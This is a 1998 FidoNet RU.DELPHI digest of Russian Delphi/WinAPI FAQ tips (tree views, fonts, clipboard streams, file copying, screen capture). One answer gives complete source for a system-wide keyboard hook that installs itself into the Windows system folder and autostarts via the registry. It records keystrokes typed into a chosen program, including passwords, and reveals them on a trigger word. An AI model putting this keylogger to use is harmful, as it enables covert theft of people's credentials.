struct ThreadInfo { FILETIME ftCreationTime; DWORD dwUnknown1; DWORD dwStartAddress; DWORD dwOwningPID; DWORD dwThreadID; DWORD dwCurrentPriority; DWORD dwBasePriority; DWORD dwContextSwitches; DWORD dwThreadState; DWORD dwUnknown2; DWORD dwUnknown3; DWORD dwUnknown4; DWORD dwUnknown5; DWORD dwUnknown6; DWORD dwUnknown7; }; struct ProcessInfo { DWORD dwOffset; // an ofset to the next Process structure DWORD dwThreadCount; DWORD dwUnkown1[6]; FILETIME ftCreationTime; DWORD dwUnkown2; DWORD dwUnkown3; DWORD dwUnkown4; DWORD dwUnkown5; DWORD dwUnkown6; WCHAR* pszProcessName; DWORD dwBasePriority; DWORD dwProcessID; DWORD dwParentProcessID; DWORD dwHandleCount; DWORD dwUnkown7; DWORD dwUnkown8; DWORD dwVirtualBytesPeak; DWORD dwVirtualBytes; DWORD dwPageFaults; DWORD dwWorkingSetPeak; DWORD dwWorkingSet; DWORD dwUnkown9; DWORD dwPagedPool; // kbytes DWORD dwUnkown10; DWORD dwNonPagedPool; // kbytes DWORD dwPageFileBytesPeak; DWORD dwPageFileBytes; DWORD dwPrivateBytes; DWORD dwUnkown11; DWORD dwUnkown12; DWORD dwUnkown13; DWORD dwUnkown14; struct ThreadInfo ati[1]; }; NtQSI ntqsi; HANDLE h; int i; long j; long tt; char *vt; // UNICODE struct ThreadInfo *tinfo, *tinf2; struct ProcessInfo *pinfo; char buf[20480]; void main() { h=LoadLibrary("NTDLL.DLL"); ntqsi = (NtQSI)GetProcAddress(h,"NtQuerySystemInformation"); j = (*ntqsi)(5,buf,20480,0); pinfo = buf; for(;;){ vt = pinfo->pszProcessName; printf("%4lX|%13s|%8ld|%7lX|%7ld", pinfo->dwProcessID,vt, pinfo->dwThreadCount,pinfo->dwParentProcessID, pinfo->dwOffset); printf("|%4ld\n",pinfo->dwBasePriority); printf("\t| ID|Owner|State|Priority|Base Priority\n"); tinfo = &pinfo->ati[0]; for(i=0;idwThreadCount;++i){ tinf2 = &tinfo[i]; printf("\t|%4lX|%5lX|%5lX|%8s|%8s\n", tinf2->dwThreadID, tinf2->dwOwningPID, tinf2->dwThreadState, tinf2->dwCurrentPriority, tinf2->dwBasePriority); } if(pinfo->dwOffset==0) break; pinfo = (struct ProcessInfo*)((char *)pinfo + pinfo->dwOffset); } } Viktor Krapivin (2:450/102.13) . > -+- added in v5.3 Q>: [VCL] Как добавить горизонтальную полосу прокрутки в TListBox? A>: Компонент VCL TListBox автоматически реализует вертикальную полосу прокрутки. Полоска прокрутки появляется, когда окно списка слишком мало для показа всех элементов списка. Однако окно списка не показывает горизонтальной полосы прокрутки, когда какие-либо элементы списка имеют большую ширину, чем само окно списка. Конечно, есть возможность добавить горизонтальную полосу прокрутки. Добавьте следующий код в обработчик события OnCreate Вашей формы: procedure TForm1.FormCreate(Sender: TObject); var i, MaxWidth: integer; begin MaxWidth := 0; for i := 0 to ListBox1.Items.Count - 1 do if MaxWidth < ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]) then MaxWidth := ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]); SendMessage(ListBox1.Handle, LB_SETHORIZONTALEXTENT, MaxWidth+2, 0); end; Этот код находит ширину, в пикселах, самой длинной строки в окне списка. Затем он использует сообщение LB_SETHORIZONTALEXTENT для установки горизонтальной прокручиваемой ширины, в пикселах, для окна списка. Два дополнительных пиксела добавлены к MaxWidth, чтобы сдвинуть оконечные символы от правой границы окна списка. Delphi Tip, переведен AA. . Q>: Как сконверировать строку из одной кодировки в другую? A>: Для перекодирования из текущей кодировки DOS в текущую кодировку Windows есть функции Win16: OemToAnsi, AnsiToOem; Win32: OemToChar, CharToOem. И они же с суффиксом Buf. AA. 'о если Вы хотите работать с другими кодировками (ISO, 4e) или получить тот же результат вне зависимости системной локализации, Примечание: не пытайся копировать таблицу из письма, так как здесь кодировка KOI8r, а набей ее сам вручную. type TXlatTable = array[0..255] of Char; PXlatTable = ^TXlatTable; const Cp866To1251 : TXlatTable = ( #0,#1,#2,#3,#4,#5,#6,#7,#8,#9,#10,#11,#12,#13,#14,#15, #16,#17,#18,#19,#20,#21,#22,#23,#24,#25,#26,#27,#28,#29,#30,#31, ' ','!','"','#','$','%','&','''','(',')','*','+',',','-','.','/', '0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?', '@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O', 'P','Q','R','S','T','U','V','W','X','Y','Z','[','\',']','^','_', '`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o', 'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',#127, 'А','Б','В','Г','Д','Е','Ж','З','И','Й','К','Л','М','H','О','П', 'Р','С','Т','У','Ф','Х','Ц','Ч','Ш','Щ','Ъ','Ы','Ь','Э','Ю','Я', 'а','б','в','г','д','е','ж','з','и','й','к','л','м','н','о','п', '.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.', '.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.', '.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.', 'р','с','т','у','ф','х','ц','ч','ш','щ','ъ','ы','ь','э','ю','я', 'Ё','ё','?','ё','?','?','?','?','°','·','·',#251,'?','?',#254,#255); function XlatConvert(const Value:string; const CvtTable:PXlatTable): string; Implementation {*********************************** * Xlat Convering utility * * for Transliterate, Upper, Lower * ***********************************} function XlatConvert(const Value:string; const CvtTable:PXlatTable) : string; var I : Integer; begin if CvtTable = nil then Result := Value else begin Result := ''; for I := 1 to Length(Value) do begin Result := Result + CvtTable^[Byte(Value[I])]; end; end; end; {XlatConvert} Anatoly Podgoretsky kvk@estpak.ee . > -+- added in v5.2 Q>: Хотелось бы иметь возможность отмены вставки нового узла в TTreeView по нажатию кнопки Esc. Как сделать? A>: unit BetterTreeView; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, CommCtrl; type TTVNewEditCancelEvent = procedure( Sender: TObject; Node: TTreeNode; var Delete: Boolean) of object; TBetterTreeView = class(TTreeView) protected FIsEditingNew: Boolean; FOnEditCancel: TTVChangedEvent; FOnNewEditCancel: TTVNewEditCancelEvent; procedure Edit(const Item: TTVItem); override; public function NewChildAndEdit(Node: TTreeNode; const S: String) : TTreeNode; published property IsEditingNew: Boolean read FIsEditingNew; property OnEditCancel: TTVChangedEvent read FOnEditCancel write FOnEditCancel; property OnNewEditCancel: TTVNewEditCancelEvent read FOnNewEditCancel write FOnNewEditCancel; end; implementation procedure TBetterTreeView.Edit(const Item: TTVItem); var Node: TTreeNode; Action: Boolean; begin with Item do begin { Get the node } if (state and TVIF_PARAM) <> 0 then Node := Pointer(lParam) else Node := Items.GetNode(hItem); if pszText = nil then begin if FIsEditingNew then begin Action := True; if Assigned(FOnNewEditCancel) then FOnNewEditCancel(Self, Node, Action); if Action then Node.Destroy end else if Assigned(FOnEditCancel) then FOnEditCancel(Self, Node); end else inherited; end; FIsEditingNew := False; end; function TBetterTreeView.NewChildAndEdit (Node: TTreeNode; const S: String): TTreeNode; begin SetFocus; Result := Items.AddChild(Node, S); FIsEditingNew := True; Node.Expand(False); Result.EditText; SetFocus; end; end. Том Сван "Секреты..." . Q>: [Win32] Как отловить нажатия клавиш для всех процессов в системе? A>: Вот, может поможет: >1. Setup.bat === Cut === @echo off copy HookAgnt.dll %windir%\system copy kbdhook.exe %windir%\system start HookAgnt.reg === Cut === >2.HookAgnt.reg === Cut === REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "kbdhook"="kbdhook.exe" === Cut === >3.KbdHook.dpr === Cut === program cwbhook; uses Windows, Dialogs; var hinstDLL: HINST; hkprcKeyboard: TFNHookProc; msg: TMsg; begin hinstDLL := LoadLibrary('HookAgnt.dll'); hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc'); SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0); repeat until not GetMessage(msg, 0, 0, 0); end. === Cut === >4.HookAgnt.dpr === Cut === library HookAgent; uses Windows, KeyboardHook in 'KeyboardHook.pas'; exports KeyboardProc; var hFileMappingObject: THandle; fInit: Boolean; {----------------------------\ | | | DLL_PROCESS_DETACH | | | \----------------------------} procedure DLLMain(Reason: Integer); begin if Reason = DLL_PROCESS_DETACH then begin UnmapViewOfFile(lpvMem); CloseHandle(hFileMappingObject); end; end; {----------------------------\ | | | DLL_PROCESS_ATTACH | | | \----------------------------} begin DLLProc := @DLLMain; hFileMappingObject := CreateFileMapping( THandle($FFFFFFFF), // use paging file nil, // no security attributes PAGE_READWRITE, // read/write access 0, // size: high 32 bits 4096, // size: low 32 bits 'HookAgentShareMem' // name of map object ); if hFileMappingObject = INVALID_HANDLE_VALUE then begin ExitCode := 1; Exit; end; fInit := GetLastError() <> ERROR_ALREADY_EXISTS; lpvMem := MapViewOfFile( hFileMappingObject, // object to map view of FILE_MAP_WRITE, // read/write access 0, // high offset: map from 0, // low offset: beginning 0 // default: map entire file ); if lpvMem = nil then begin CloseHandle(hFileMappingObject); ExitCode := 1; Exit; end; if fInit then FillChar(lpvMem, PASSWORDSIZE, #0); end. === Cut === >5.KeyboardHook.pas === Cut === unit KeyboardHook; interface uses Windows; {------------------------------------------\ | | | ├ыюсры№э√х яхЁхьхээ√х ш ъюэёЄрэЄ√ | | | \------------------------------------------} const PASSWORDSIZE = 16; var g_hhk: HHOOK; g_szKeyword: array[0..PASSWORDSIZE-1] of char; lpvMem: Pointer; function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall; implementation uses SysUtils, Dialogs; function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; var szModuleFileName: array[0..MAX_PATH-1] of Char; szKeyName: array[0..16] of Char; lpszPassword: PChar; begin lpszPassword := PChar(lpvMem); if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin GetKeyNameText(lParam, szKeyName, sizeof(szKeyName)); if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName)); lstrcat(g_szKeyword, szKeyName); GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName)); > if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_ АДО__') <> nil) and (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then lstrcat(lpszPassword, szKeyName); if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then begin ShowMessage(lpszPassword); g_szKeyword[0] := #0; end; Result := 0; end else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam); end; end. === Cut === Alexander Tkachenko (2:5055/62.6) . Q>: Как вывести на Canvas надпись под углом? A>: Вот, взгляни. ... function CreateRotatedFont(F : TFont; Angle : Integer) : hFont; {-create a rotated font based on the font object F} var LF : TLogFont; begin FillChar(LF, SizeOf(LF), #0); with LF do begin lfHeight := F.Height; lfWidth := 0; lfEscapement := Angle*10; lfOrientation := 0; if fsBold in F.Style then lfWeight := FW_BOLD else lfWeight := FW_NORMAL; lfItalic := Byte(fsItalic in F.Style); lfUnderline := Byte(fsUnderline in F.Style); lfStrikeOut := Byte(fsStrikeOut in F.Style); lfCharSet := DEFAULT_CHARSET; StrPCopy(lfFaceName, F.Name); lfQuality := DEFAULT_QUALITY; {everything else as default} lfOutPrecision := OUT_DEFAULT_PRECIS; lfClipPrecision := CLIP_DEFAULT_PRECIS; case F.Pitch of fpVariable : lfPitchAndFamily := VARIABLE_PITCH; fpFixed : lfPitchAndFamily := FIXED_PITCH; else lfPitchAndFamily := DEFAULT_PITCH; end; end; Result := CreateFontIndirect(LF); end; ... {create the rotated font} if FontAngle <> 0 then Canvas.Font.Handle := CreateRotatedFont(Font, FontAngle); ... Вращаются только векторные шрифты. Nikita Popov nix@tekton.dol.ru (2:5020/87.2) . === Cut === * Crossposted in RU.DELPHI.INFO * Crossposted in RU.DELPHI * Crossposted in FE.DELPHI С уважением, Akzhan --- Раскpепощение --- * Origin: <<>> (2:5040/55) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 30 of 341 From : Akzhan Abdulin 2:5040/55.46 16 Nov 98 16:33:00 To : All Subj : PART 4/8 - Akzhan's Delphi API&VCL Tips'n'Tricks v7.1 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! === Cut === Q>: Как из программы переключать языки? A>: Здесь переключатели на русский и на английский. procedure SetRU; var Layout: array[0.. KL_NAMELENGTH] of char; begin LoadKeyboardLayout( StrCopy(Layout,'00000419'),KLF_ACTIVATE); end; procedure SetEN; var Layout: array[0.. KL_NAMELENGTH] of char; begin LoadKeyboardLayout(StrCopy(Layout,'00000409'),KLF_ACTIVATE); end; Anton Geleznyak (2:5000/106) Можно и так: var rus, lat: HKL; rus:=LoadKeyboardLayout('00000419', 0); lat:=LoadKeyboardLayout('00000409', 0); SetActiveKeyboardLayout(rus); Valentin Lavrinenko (2:463/566.110) . Q>: [Win32] Как удобнее работать с буфером обмена как последовательностью байт? A>: Используя потоки - === Cut === unit ClipStrm; { This unit is Copyright (c) Alexey Mahotkin 1997-1998 and may be used freely for any purpose. Please mail your comments to E-Mail: alexm@hsys.msk.ru FidoNet: Alexey Mahotkin, 2:5020/433 This unit was developed during incorporating of TP Lex/Yacc into my project. Please visit ftp://ftp.nf.ru/pub/alexm or FREQ FILES from 2:5020/433 or mail me to get hacked version of TP Lex/Yacc which works under Delphi 2.0+. } interface uses Classes, Windows; type TClipboardStream = class(TStream) private FMemory : pointer; FSize : longint; FPosition : longint; FFormat : word; public constructor Create(fmt : word); destructor Destroy; override; function Read(var Buffer; Count : Longint) : Longint; override; function Write(const Buffer; Count : Longint) : Longint; override; function Seek(Offset : Longint; Origin : Word) : Longint; override; end; implementation uses SysUtils; constructor TClipboardStream.Create(fmt : word); var tmp : pointer; FHandle : THandle; begin FFormat := fmt; OpenClipboard(0); FHandle := GetClipboardData(FFormat); FSize := GlobalSize(FHandle); FMemory := AllocMem(FSize); tmp := GlobalLock(FHandle); MoveMemory(FMemory, tmp, FSize); GlobalUnlock(FHandle); FPosition := 0; CloseClipboard; end; destructor TClipboardStream.Destroy; begin FreeMem(FMemory); end; function TClipboardStream.Read(var Buffer; Count : longint) : longint; begin if FPosition + Count > FSize then Result := FSize - FPosition else Result := Count; MoveMemory(@Buffer, PChar(FMemory) + FPosition, Result); Inc(FPosition, Result); end; function TClipboardStream.Write(const Buffer; Count : longint) : longint; var FHandle : HGlobal; tmp : pointer; begin ReallocMem(FMemory, FPosition + Count); MoveMemory(PChar(FMemory) + FPosition, @Buffer, Count); FPosition := FPosition + Count; FSize := FPosition; FHandle := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE or GMEM_ZEROINIT, FSize); try tmp := GlobalLock(FHandle); try MoveMemory(tmp, FMemory, FSize); OpenClipboard(0); SetClipboardData(FFormat, FHandle); finally GlobalUnlock(FHandle); end; CloseClipboard; except GlobalFree(FHandle); end; Result := Count; end; function TClipboardStream.Seek(Offset : Longint; Origin : Word) : Longint; begin case Origin of 0 : FPosition := Offset; 1 : Inc(FPosition, Offset); 2 : FPosition := FSize + Offset; end; Result := FPosition; end; end. === Cut === Alexey Mahotkin alexm@hsys.msk.ru (2:5020/433) . > -+- changed in v5.2 Q>: [D3] Как исправить проблемы с русскими шрифтами *.TTF в Delphi 3 + Windows NT 4.0 + Service Pack 3. A>: Борланды тут ни при чем - родной Character Map точно так же себя ведет :-( Попробуй сделать [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default):-) Alex Petin (2:5000/45.10) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontMapper DEFAULT=0x000000cc pекомендую взглянуть на это: === Cut === REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes ] "Times"="Times New Roman,204" "Helvetica"="Arial,204" "MS Shell Dlg"="MS Sans Serif" "System,0"="System,204" "Fixedsys,0"="Fixedsys,204" "Small Fonts,0"="Small Fonts,204" "MS Serif,0"="MS Serif,204" "MS Sans Serif,0"="MS Sans Serif,204" "Courier,0"="Courier New,204" "Arial Cyr,0"="Arial,204" "Courier New Cyr,0"="Courier New,204" "Times New Roman Cyr,0"="Times New Roman,204" "Tms Rmn,0"="MS Serif,204" "Helv,0"="MS Sans Serif,204" "Arial,0"="Arial,204" "Courier New,0"="Courier New,204" === Cut === Суть, я думаю, ясна: для всех используемых Вами UNICODE фонтов явно пpописываете кодовую стpаницу cp1251. Это, кстати, поможет заодно и тем, кто жаловался, что Delphi не хочет понимать Arial Cyr. Alex Konshin (2:5030/217) . Q>: Можно пpимеp получить, как копиpовать файлы? A>: Можно так: procedure CopyFile(const FileName, DestName: TFileName); var CopyBuffer: Pointer; { buffer for copying } TimeStamp, BytesCopied: Longint; Source, Dest: Integer; { handles } Destination: TFileName; { holder for expanded destination name } const ChunkSize: Longint = 8192; { copy in 8K chunks } begin Destination := ExpandFileName(DestName); { expand the destination path } if HasAttr(Destination, faDirectory) then { if destination is a directory... } Destination := Destination + '\' + ExtractFileName(FileName); { ...clone file name } TimeStamp := FileAge(FileName); { get source's time stamp } GetMem(CopyBuffer, ChunkSize); { allocate the buffer } try Source := FileOpen(FileName, fmShareDenyWrite); { open source file } if Source < 0 then raise EFOpenError.Create(FmtLoadStr(SFOpenError, [FileName])); try Dest := FileCreate(Destination); { create output file; overwrite existing } if Dest < 0 then raise EFCreateError.Create(FmtLoadStr(SFCreateError, [Destination])); try repeat BytesCopied := FileRead(Source, CopyBuffer^, ChunkSize); { read chunk } if BytesCopied > 0 then { if we read anything... } FileWrite(Dest, CopyBuffer^, BytesCopied); { ...write chunk } until BytesCopied < ChunkSize; { until we run out of chunks } finally FileClose(Dest); { close the destination file } { SetFileTimeStamp(Destination, TimeStamp);} { clone source's time stamp }{!!!} end; finally FileClose(Source); { close the source file } end; finally FreeMem(CopyBuffer, ChunkSize); { free the buffer } Текст: D:\DELPHI\WORK\ID_LIB.PAS Ст. 0 end; FileSetDate(Dest,FileGetDate(Source)); end; Anton Kartamyshev (2:5020/211.15) Хм. ИМХО кpутовато будет такие ф-ии писать когда в большинстве случаев достаточно что-нть типа нижепpиводимого, пpичем оно даже гибче, так как позволяет скопиpовать как весь файл пpи From и Count = 0, так и пpоизвольный его кусок. function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint; var InFS,OutFS: TFileStream; begin InFS := TFileStream.Create( InFile, fmOpenRead ); OutFS := TFileStream.Create( OutFile, fmCreate ); InFS.Seek( From, soFromBeginning ); Result := OutFS.CopyFrom( InFS, Count ); InFS.Free; OutFS.Free; end; try..except pасставляются по вкусу, а навоpоты вpоде установки атpибутов,даты и вpемени файла и т.п. для ясности удалены, да и не нужны они в основном никогда. Dimus Gremyakoff dimus57@chat.ru, dimus.g@usa.net (2:5020/768.57) Конечно, под Win32 имеет смысл использовать функции CopyFile, SHFileOperation. AA. . Q>: Как взять хэндл рабочего стола для манипуляций с иконками рабочего стола? A>: Рабочий стол перекрыт сверху компонентом ListView. Вам просто необходимо взять хэндл этого органа управления. Пример: function GetDesktopListViewHandle: THandle; var S: String; begin Result := FindWindow('ProgMan', nil); Result := GetWindow(Result, GW_CHILD); Result := GetWindow(Result, GW_CHILD); SetLength(S, 40); GetClassName(Result, PChar(S), 39); if PChar(S) <> 'SysListView32' then Result := 0; end; После того, как Вы взяли тот хэндл, Вы можете использовать API этого ListView, определенный в модуле CommCtrl, для того, чтобы манипулировать рабочим столом. Смотрите тему "LVM_xxxx messages" в оперативной справке по Win32. К примеру, следующая строка кода: SendMessage( GetDesktopListViewHandle, LVM_ALIGN, LVA_ALIGNLEFT, 0 ); разместит иконки рабочего стола по левой стороне рабочего стола Windows. (Borland FAQ N687, переведен Акжаном Абдулиным) . > -+- added in v5.1 Q>: Как я могу использовать анимированный курсор? A>: Сперва Вы должны взять хэндл курсора Windows и присвоить его одному из элементов массива Cursors обьекта Screen. Предопределенные курсоры имеют отрицательный индекс, а определенные пользователем (Вами) курсоры получают положительные индексы. 'иже пример формы, использующей анимированный курсор: procedure TForm1.Button1Click(Sender: TObject); var h : THandle; begin h := LoadImage(0, 'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or LR_LOADFROMFILE ); if h = 0 then ShowMessage('Cursor not loaded') else begin Screen.Cursors[1] := h; Form1.Cursor := 1; end; end; (Borland FAQ N696, переведен Акжаном Абдулиным) . > -+- changed in v5.1 Q>: Как создать disable'ный битмап из обычного (emboss etc)? A>: CreateMappedBitmap() :-) Один из паpаметpов yказатель на COLORMAP, в нем для 16 основных цветов делаешь пеpекодиpовкy, цвета подбеpешь сам из пpинципа: все самые яpкие -> в GetSysColor( COLOR_3DLIGHT ); самые темные -> GetSysColor( COLOR_3DSHADOW ); нейтpальные, котpые бyдyт пpозpачные -> GetSysColor( COLOR_3DFACE ); Serge Zakharchuk (2:5060/32) Так на самом деле вот как делается данная задача: ============ procedure Tform1.aaa(bmpFrom,bmpTo:Tbitmap); var TmpImage,Monobmp:TBitmap; IRect:TRect; begin MonoBmp := TBitmap.Create; TmpImage:=Tbitmap.Create; TmpImage.Width := bmpFrom.Width; TmpImage.Height := bmpFrom.Height; IRect := Rect(0, 0, bmpFrom.Width, bmpFrom.Height); TmpImage.Canvas.Brush.Color := clBtnFace; try with MonoBmp do begin Assign(bmpFrom); Canvas.Brush.Color := clBlack; if Monochrome then begin Canvas.Font.Color := clWhite; Monochrome := False; Canvas.Brush.Color := clWhite; end; Monochrome := True; end; with TmpImage.Canvas do begin Brush.Color := clBtnFace; FillRect(IRect); Brush.Color := clBlack; Font.Color := clWhite; CopyMode := MergePaint; Draw(IRect.Left + 1, IRect.Top + 1, MonoBmp); CopyMode := SrcAnd; Draw(IRect.Left, IRect.Top, MonoBmp); Brush.Color := clBtnShadow; Font.Color := clBlack; CopyMode := SrcPaint; Draw(IRect.Left, IRect.Top, MonoBmp); CopyMode := SrcCopy; bmpTo.assign(TmpImage); TmpImage.free; end; finally MonoBmp.Free; end; end; procedure TForm1.Button1Click(Sender: TObject); begin aaa(image1.picture.bitmap,image2.picture.bitmap); Image2.invalidate; end; ============ Писал это не я. Это написал сам Борланд (некузявно было бы взглянуть на класс TButtonGlyph. Как раз из него я это и выдернул). Hу а если уже совсем хорошо разобраться, то можно заметить функцию ImageList_DrawEx, в которой можно на 25 и 50 процентов уменьшить яркость (но визуально это очень плохо воспринимается). Соответственно параметры ILD_BLEND25, ILD_BLEND50, ILD_BLEND-A-MED. Естественно, что последний абзац работает только с тройкой. Denis Tanayeff denis@demo.ru Это кусочек из рабочей проги на Си, Вроде все лишнее я убрал. ==================== #define CO_GRAY 0x00C0C0C0L hMemDC = CreateCompatibleDC(hDC); hOldBitmap = SelectObject(hMemDC, hBits); // hBits это собственно картинка, которую надо "засерить" GetObject(hBits, sizeof(Bitmap), (LPSTR) &Bitmap); if ( GetState(BS_DISABLED) ) // Blt disabled { hOldBrush = SelectObject(hDC, CreateSolidBrush(CO_GRAY));//CO_GRAY PatBlt(hDC, BD_BORDERWIDTH, BD_BORDERWIDTH, Bitmap.bmWidth, Bitmap.bmHeight, PATCOPY); DeleteObject(SelectObject(hDC, hOldBrush)); lbLogBrush.lbStyle = BS_PATTERN; lbLogBrush.lbHatch =(int)LoadBitmap(hInsts, MAKEINTRESOURCE(BT_DISABLEBITS)); hOldBrush = SelectObject(hDC, CreateBrushIndirect(&lbLogBrush)); BitBlt(hDC, BD_BORDERWIDTH, BD_BORDERWIDTH, Bitmap.bmWidth, Bitmap.bmHeight, hMemDC, 0, 0, 0x00A803A9UL); // DPSoa DeleteObject(SelectObject(hDC, hOldBrush)); DeleteObject((HGDIOBJ)lbLogBrush.lbHatch); } ================== Andy Nikishin http://www.gs.ru/~links/andy.shtml (2:5031/16.2) . Q>: Как запретить кнопку Close [x] в заголовке окна. A>: Вот кусок, который делает все, что тебе нужно: procedure TForm1.FormCreate(Sender: TObject); var Style: Longint; begin Style := GetWindowLong(Handle, GWL_STYLE); SetWindowLong(Handle, GWL_STYLE, Style And Not WS_SYSMENU); end; procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if (Key = VK_F4) and (ssAlt in Shift) then begin MessageBeep(0); Key := 0; end; end; Alexander Petrushev (2:5001/88.10) 'а самом деле есть более простой способ (запрет на SC_CLOSE), но я уже деталей его не помню. Akzhan Abdulin (2:5040/55) === Cut === { Disable close button } procedure TForm1.Button1Click(Sender: TObject); var SysMenu: HMenu; begin SysMenu := GetSystemMenu(Handle, False); Windows.EnableMenuItem(SysMenu, SC_CLOSE, MF_DISABLED or MF_GRAYED); end; { Enable close button } procedure TForm1.Button2Click(Sender: TObject); begin GetSystemMenu(Handle, True); Perform(WM_NCPAINT, Handle, 0); end; === Cut === 'о это окно можно закрыть из TaskBar'а. Vlad Filyakov (2:5022/26.9) И все же, кажется, я делал иначе. :( Akzhan Abdulin (2:5040/55) . > -+- added in v5 Q>: Как скопировать экран (или его часть) в TBitmap? A>: 'апример, с помощью WinAPI так - var bmp: TBitmap; DC: HDC; begin bmp:=TBitmap.Create; bmp.Height:=Screen.Height; bmp.Width:=Screen.Width; DC:=GetDC(0); //Дескpиптоp экpана bitblt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC, 0, 0, SRCCOPY); bmp.SaveToFile('Screen.bmp'); ReleaseDC(0, DC); end; Peter Maishev (2:5020/1530.31) Или с помощью обертки TCanvas - Объект Screen[.width,height] - размеры Var Desktop :TCanvas ; BitMap :TBitMap; begin DesktopCanvas:=TCanvas.Create; DesktopCanvas.Handle:=GetDC(Hwnd_Desktop); BitMap := TBitMap.Create; BitMap.Width := Screen.Width; BitMap.Height:=Screen.Height; Bitmap.Canvas.CopyRect(Bitmap.Canvas.ClipRect, DesktopCanvas, DesktopCanvas.ClipRect); ........ end; Serg Lukashov serg@tnd.belpak.gomel.by, serg.d.lukashov@usa.net (2:452/9.16) . Q>: [Win32] Как убрать всплывающие подсказки в TreeView? A>: TCustomTreeView.WMNotify. О том, что такое тип notify'а TTM_NEEDTEXT пpочтешь в хелпе. Убpать хинты можно, пеpекpыв обpаботчик для этого уведомительного сообщения. Eugene Mayevski Eugene-Mayevski@usa.net (2:463/209.209) . Q>: Как изменить внешний вид хинтов (всплывающих подсказок)? A>: 1. Создаем свой класс - потомок от THintWindow type TCustomHint = class (THintWindow) public constructor Create(AOwner: TComponent); override; end; Пpимечание 1. Этот способ не позволит изменить цвет шpифта - для этого пpидется пеpекpывать метод Paint; Пpимечание 2. Если пеpекpыть CreateParams, то можно, напpимеp, наpисовать Hint в фоpме облачка. Пpимечание 3. Для изменения цвета фона F1 TApplication.OnShowHint, HintInfo. 2. Меняем фонт: constructor TCustomHint.Create(AOwner: TComponent); begin inherited Create(AOwner); with Canvas.Font do // Именно так, а не пpосто Font! begin Name := 'Times New Roman Cyr'; Style := [fsBold, fsItalic]; Size := 40; end; end; 3. Устанавливаем новый хинт procedure TForm1.FormCreate(Sender: TObject); // Это может быть любой begin // обpаботчик HintWindowClass := TMyHint; // Устанавливаем глобальную пеpеменную Application.ShowHint := false; // Application.FHintWindow.Free Application.ShowHint := true; // Application.FHintWindow.Create end; Литеpатуpа: 1. <...>\Source\VCL\Forms.pas (TApplication). 2. <...>\Source\VCL\Controls.pas (THintWindow). 3. Delphi Help (OnShowHint, THintInfo). Dmitry Medved (2:464/58.7) . Q>: Как перевести визуальный компонент, такой, как TPanel, в состояние перемещения (взять и перенести)? A>: Пример: { В случае Panel1:TPanel - обработчик события OnMouseDown } procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); const SC_DragMove = $F012; { a magic number } begin ReleaseCapture; panel1.perform(WM_SysCommand, SC_DragMove, 0); end; Borland TI N2909 (перевод: Акжан Абдулин) . Q>: Как послать самостийное сообщение всем главным окнам в Windows? A>: Пример: Var FM_FINDPHOTO: Integer; // Для использовать hwnd_Broadcast нужно сперва зарегистрировать уникальное // сообщение Initialization FM_FindPhoto:=RegisterWindowMessage('MyMessageToAll'); // Чтобы поймать это сообщение в другом приложении (приемнике) нужно перекрыть DefaultHandler procedure TForm1.DefaultHandler(var Message); begin with TMessage(Message) do begin if Msg = Fm_FindPhoto then MyHandler(WPARAM,LPARAM) else Inherited DefaultHandler(Message); end; end; // А тепрь можно SendMessage(HWND_BROADCAST,FM_FINDPHOTO,0,0); Кстати, для посылки сообщения дочерним контролам некоего контрола можно использовать метод Broadcast. Andrey Burov (2:463/238.19) . === Cut === * Crossposted in RU.DELPHI.INFO * Crossposted in RU.DELPHI * Crossposted in FE.DELPHI С уважением, Akzhan --- Раскpепощение --- * Origin: <<>> (2:5040/55.46) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 31 of 341 From : Alexey Mahotkin 2:5020/433 30 Nov 98 00:31:00 To : All Subj : ru.delphi.f.a.q. [1/4] ──────────────────────────────────────────────────────────────────────────────── hail === Cut === Dedicated to my love and loss, with whom I shall sit under any skies never again... Too Frequently Asked Questions of RU.DELPHI hierarchy. Слишком часто задаваемые вопросы эх иерархии RU.DELPHI Copyright (c) Alexey Mahotkin 1997-1998 Редакция 0.12 от 01 Mar 1998 (swastiked time) Общие вопросы программирования на Borland Delphi. Вопросы программирования баз данных находятся в соответствующем F.A.Q. 